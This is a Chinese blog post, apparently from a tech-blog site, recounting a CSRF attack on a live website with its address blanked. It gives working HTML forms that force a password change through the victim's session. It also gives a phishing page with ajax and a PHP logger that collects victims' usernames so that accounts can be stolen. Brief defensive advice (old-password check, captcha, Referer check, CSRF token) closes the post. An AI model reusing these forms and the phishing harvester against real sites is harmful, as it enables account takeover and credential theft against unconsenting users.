真实环境的一次CSRF测试

CSRF能够成功的关键就是利用受害者在指定网站中的Session或者Cookie。因为在同一个浏览器中。Session是通用的。如果我们的页面向指定网站发送请求。使用的就是受害者在该网站中的Session或Cookie。从而达到伪造用户请求的攻击。

借用百度一张图

 

回归正题

在个人设置中。如果发现修改密码的时候不用输入原密码。这种样子很不安全。因为我们只需要构造一个页面,诱使用户访问。访问后直接发送给网站后端这些数据即可。

如果要输入原密码的话。就需要让用户来自己填入原密码。这样我们要多构造一个页面让用户自己填入自己的原密码。这样子不如上一个方法隐蔽性高。

拿到页面第一步。先F12查看数据包格式。我们修改一下密码。看看发出去的数据包是什么样的。

可以看到他发送了六个字段。而且还是明文发送的。这样子就又省了事。知道发送的数据包后和后端地址URL后。我们就可以开始构造页面了。

简单的写了一个html。内容可以是很诱惑的东西。。。。为的是吸引受害者点击。

<!DOCTYPE html>
<html>
<head>
	<title></title>
	<meta charset="utf-8">
</head>
<body>
<form method="post" action="http://xxx.php?op=info">
	<input type="hidden" name="c_number">
	<input type="hidden" name="c_number">
	<input type="hidden" name="u_phone">
	<input type="hidden" name="u_qq">
	<input type="hidden" name="u_email">
	<input type="hidden" name="usersave">
	<input type="hidden" name="u_password" value="654321" />
	<input type="submit" name="" value="点我下载****">
</form>
</body>
</html>

 

我现在登陆着该网站。然后访问这个恶意的页面。点击按钮

额。。。弹了个窗。。。确定之后就跳转过去了。

测试密码也确实修改成功了。如果把用户名发过去,若后端能处理的话我们就能成功盗号了。

然鹅

但是这个站他好像不能改用户名。。。。只能改密码。

用户名还是55555。。。

所以在这个环境中限于水平也只能改改密码做恶作剧了。。。不过如果实在想盗号的话。可以在钓鱼页面加多一个文本框让他自己输入。我们保存一下他输入的用户名即可。

 

假页面代码:

<!DOCTYPE html>
<html>
<head>
	<title></title>
	<meta charset="utf-8">
</head>
<body>
<form method="post" action="http://xxxx/user.php?op=inf" name="form">
	<label>您在xx网站的用户名是:</label>
	<input type="text" name="c_number">

	<input type="hidden" name="u_phone">
	<input type="hidden" name="u_qq">
	<input type="hidden" name="u_email">
	<input type="hidden" name="usersave">
	<p>
	<label>同意xxx协议</label><input type="radio" id="radio">
	</p>
	<input type="hidden" name="u_password" value="654321" />
	<input type="submit" name="" value="点我下载****">
</form>
</body>
</html>
<script type="text/javascript">
	document.getElementById('radio').onclick = function(){
	//发送ajax
	if (window.XMLHttpRequest)
	{
		var xmlhttp;
	    xmlhttp=new XMLHttpRequest();
	    xmlhttp.open("GET","csrfTest.php?userName="+document.form.c_number.value,true);
		xmlhttp.send();
	}
}
</script>

处理ajax发来的用户名后端代码:

<?php
$userName = $_GET['userName'];
//FILE_APPEND 是以追加的方式写入文件
file_put_contents('./csrfTest.txt',$userName."\r\n",FILE_APPEND);
?>

 

假页面:

当我输入了这个网站的用户名。点击“同意xxx协议的单选框”时。触发onclick事件发送ajax请求给后端。保存用户名。

之后点击“点我下载****”

就重新跳到了原网站中。(这个是这个网站后端的问题。。。没法控制

这时候查看我们的txt文件。就能发现受害者的用户名。即可成功盗号了。

 

对于这种csrf的攻击防御方式的建议:

  1. 加入输入原密码。这样子在不知道原密码的情况是无法修改的
  2. 加入验证码。这样子能很好遏制CSRF的攻击
  3. 使用Referer来判断发送源。如果不是自己本服务器的源就拒绝
  4. 加入表单token。token必须是随机的
  • 2
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值